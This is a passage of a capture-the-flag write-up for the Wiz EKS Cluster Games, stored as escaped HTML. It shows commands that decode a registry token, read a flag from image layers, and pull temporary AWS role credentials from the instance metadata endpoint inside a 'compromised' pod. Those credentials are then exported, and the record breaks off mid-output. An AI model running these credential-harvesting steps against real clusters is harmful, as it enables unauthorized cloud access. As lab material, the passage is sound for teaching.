data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ZWtzY2x1c3RdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZ4RnVDbw==\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e base64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeksclustergames:dckr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\u0026#x3C;*REDACTED*\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo now we can login with \u003ccode\u003ecrane auth\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e login\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eksclustergames\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e dckr\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eREDACTED\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e docker.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 02:35:49\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logged\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e via\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo if we try to view the image again it should work!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"architecture\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"config\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Env\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Cmd\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"OnBuild\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e null\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"history\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}' \u003e /flag.txt # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"os\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"rootfs\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"diff_ids\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like they leaked the secret right there in the image layers:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ewiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo let us submit that and move onto the next one!\u003c/p\u003e\n\u003ch1\u003eChallenge 3\u003c/h1\u003e\n\u003cp\u003eThe hint is:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eA pod's image holds more than just code. Dive deep into its ECR repository,\ninspect the image layers, and uncover the hidden secret.\n\nRemember: You are running inside a compromised EKS pod.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis sounds very similar to the last one but with the hints that it is on ECR and\nthat we are in the pod itself it makes me believe we will have something like IRSA\naccess to AWS from the pod and need to use that to get to it.\u003c/p\u003e\n\u003cp\u003eFirst let us check what pods we are working with:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eaccounting-pod-876647f8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 37h\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo same as the last challenge, let us get the image and see what access we have:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e\"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich as expected, we do not have access to:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e fetching\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reading\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\":\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GET\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/manifests/sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e unexpected\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e status\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e code\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 401\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Unauthorized:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Authorized\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSince I expect the pod already has AWS access, let us check if the AWS CLI works:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eUnable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e locate\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e credentials.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e You\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configure\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e credentials\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e by\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e running\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"aws configure\".\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eCredentials are not configured right now, so we need to discover them. Let us\ncheck if we have metadata server access:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e http://169.254.169.254/latest/meta-data/iam\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003einfo\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esecurity-credentials/\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe do! So we should be able to pull the credentials out of there to get access\nto AWS:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -sS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Expiration\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-03 03:50:19+00:00\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SessionToken\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us set those as environment variables to activate our AWS access:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e AWS_ACCESS_KEY_ID\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e AWS_SECRET_ACCESS_KEY\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e AWS_SESSION_TOKEN\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"UserId\"\u003c/span\u003e\u003cspan 